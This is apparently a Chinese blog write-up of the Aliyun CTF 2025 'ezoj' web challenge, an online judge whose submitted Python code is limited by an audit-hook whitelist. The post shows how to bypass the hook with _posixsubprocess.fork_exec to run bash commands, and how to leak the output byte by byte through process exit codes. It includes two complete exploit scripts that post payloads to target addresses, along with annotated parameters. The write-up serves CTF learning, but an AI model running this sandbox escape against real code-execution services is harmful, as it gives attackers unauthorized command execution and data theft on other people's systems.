目录

Aliyun-CTF-2025-web-ezoj

目录

Aliyun CTF 2025 web ezoj

https://i-blog.csdnimg.cn/direct/a577a825a0124be8bb2cc235e0c529c9.png

进来一看是算法题,先做了试试看,gpt写了一个高效代码通过了 https://i-blog.csdnimg.cn/direct/f46fa2e228ca4968a399a8a54cd4597e.png

通过后没看见啥,根据页面底部提示去/source看到源代码,没啥思路,直接看wp吧,跟算法题没啥关系,关键是去看源码

def audit_checker(event,args):
    if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
        raise RuntimeError

sys.addaudithook(audit_checker)

https://i-blog.csdnimg.cn/direct/d774ffae365e4d499db164d6d9e55bed.png

https://i-blog.csdnimg.cn/direct/39323bc2ef4f4d1e91e22711de276013.png

https://i-blog.csdnimg.cn/direct/3b7460ff346246d79070c190dc356866.png

https://i-blog.csdnimg.cn/direct/078d620c35634a6398f9e9e094a33196.png

好了,现在你已经清楚了,有这样一个函数,只允许白名单上的东西执行。其他诸如system和eval的代码执行不了。接下来利用程序退出码获取python版本信息,退出码就相当于return 0,区别在于这里return的值可控,通过version_info获取版本信息 https://i-blog.csdnimg.cn/direct/927afe68963648fdb5f3ce9f46843f70.png

import sys
sys.exit(sys.version_info[0])

得到Python版本3.12.9,接着看,就算导入os模块,也不能执行system命令 https://i-blog.csdnimg.cn/direct/3e030d85bce84c0fbe9bd74a3438b3fb.png

但是可以导入内部模块,即一些隐藏的可以用来执行命令的函数

如_posixsubprocess的fork_exe()函数,它的底层是c代码,所以可以绕过安全审计 https://i-blog.csdnimg.cn/direct/3fec493543664a17b924c6e38f527018.png

在_posixsubprocess模块中有一个c2pwrite参数,可以将子进程的输出数据重定向到父进程,可以利用这一点将数据带出来。

https://i-blog.csdnimg.cn/direct/1b218addaafe443aa89e8be958d93c28.png

import requests
URL
= "http://10.253.253.1/api/submit"
CODE_TEMPLATE
= """
import _posixsubprocess
import os
import time
import sys
std_pipe = os.pipe()
err_pipe = os.pipe()
_posixsubprocess.fork_exec(
 (b"/bin/bash",b"-c",b"ls /"),
 [b"/bin/bash"],
 True,
 (),
 None,
 None,
 -1,
 -1,
 -1,
 std_pipe[1], #c2pwrite
 -1,
 -1,
 *(err_pipe),
 False,
 False,
 False,
 None,
 None,
 None,
 -1,
 None,
 False, )
time.sleep(0.1)
content = os.read(std_pipe[0],1024)
content_len = len(content)
if {loc} < content_len:
 sys.exit(content[{loc}])
else:
 sys.exit(255)
"""
command
="ls /"
received = ""
for i in range(254):
 code = CODE_TEMPLATE.format(loc=i,command=command)
 data = {"problem_id":0,"code":code}
 resp = requests.post(URL,json=data)
 resp_data = resp.json()
 assert(resp_data["status"] == "RE")
 ret_loc = resp_data["message"].find("ret=")
 ret_code = resp_data["message"][ret_loc+4:]
 if ret_code == "255":
 break
 received += chr(int(ret_code))
 print(received)

os.pipe创建通信管道

https://i-blog.csdnimg.cn/direct/86477ee22c1c4a42a157adfd85291e63.png

https://i-blog.csdnimg.cn/direct/7f17459b95ad49e0991ef4b7803673e0.png

这里学到一个很厉害的技巧:使用管道,如果信息直接输出到终端,且不给回显,就可以通过管道给它先放进去,再从管道的另一端去读,可以采用类似布尔盲注的思想拿出信息,当然这里没这么麻烦。

_posixsubprocess.fork_exec(
    (b"/bin/bash", b"-c", b"ls /"),  #  要执行的命令
    [b"/bin/bash"],                   #  argv(程序参数)
    True,                              #  是否关闭所有文件描述符(close_fds
    (),                                #  预执行(preexec_fn
    None, None,                        #  用户IDUID)和 IDGID
    -1, -1, -1,                        #  文件描述符重定向
    std_pipe[1],  # c2pwrite           #  stdout 重定向到管道
    -1, -1,                            #  stdin, stderr 处理
    *(err_pipe),                        #  stderr 绑定到 err_pipe
    False, False, False,                #  设置子进程行为
    None, None, None,                   #  进程优先级和调度相关
    -1, None, False                     #  其他控制参数
)

https://i-blog.csdnimg.cn/direct/2f75931636b24b10a8b2954948567956.png

启动bash大概就相当于启动cmd这个意思 https://i-blog.csdnimg.cn/direct/44572678928e4954b2d80dafe3a1892f.png

第二个参数只放程序本身的名字,再往下看,是一个经验性的东西,由于 os.read 可能会将程序卡住,因此在 os.read 之前先sleep⼀下。到这里payload的构建就没有什么问题了,我们再来看看处理数据的脚本怎么构建,先看题目源码 https://i-blog.csdnimg.cn/direct/bd548241ea2c44f8a7091638665fd0b5.png

code就是我们构建的payload,通过程序退出码逐个返回信息 https://i-blog.csdnimg.cn/direct/dd69931ac2e0422a950ddc42a39da9da.png

这里我们显然不能直接提交到oj平台,所以id设置为0 https://i-blog.csdnimg.cn/direct/c6dc69cbb74c426ea09ddb57817e5b2b.png

如果返回状态码为RE说明sys.exit()触发了 https://i-blog.csdnimg.cn/direct/f580738ade46464ca6db4e7253c05c8b.png

https://i-blog.csdnimg.cn/direct/53fab8002079474d89f1f05acfb2683e.png

https://i-blog.csdnimg.cn/direct/59c39a9e48094c9f98b8a43c021e6a91.png

import requests
url="http://121.41.238.106:50670/api/submit"
CODE_TEMPLATE='''
import _posixsubprocess
import os
import time
import sys
std_pipe=os.pipe()
err_pipe=os.pipe()
_posixsubprocess.fork_exec(
 (b"/bin/bash",b"-c",b"ls /"),
 [b"/bin/bash"],
 True,
 (),
 None,
 None,
 -1,
 -1,
 -1,
 std_pipe[1], #c2pwrite
 -1,
 -1,
 *(err_pipe),
 False,
 False,
 False,
 None,
 None,
 None,
 -1,
 None,
 False, )
time.sleep(0.1)
content=os.read(std_pipe[0],1024)
content_length=len(content)
if {log}<content_length:
    sys.exit(content[{log}])
else:
    sys.exit(255)'''
rec=""
for i in range(1,244):
    code=CODE_TEMPLATE.format(log=i)
    data={
        "problem_id":0,
        "code":code
    }
    response=requests.post(url=url,json=data)
    redata=response.json()
    assert redata["status"]=="RE"
    ret_loc=redata["message"].find("ret=")
    ret_code=redata["message"][ret_loc+4:]
    if ret_code=="255":
        break
    else:
        rec+=chr(int(ret_code))
        print(rec)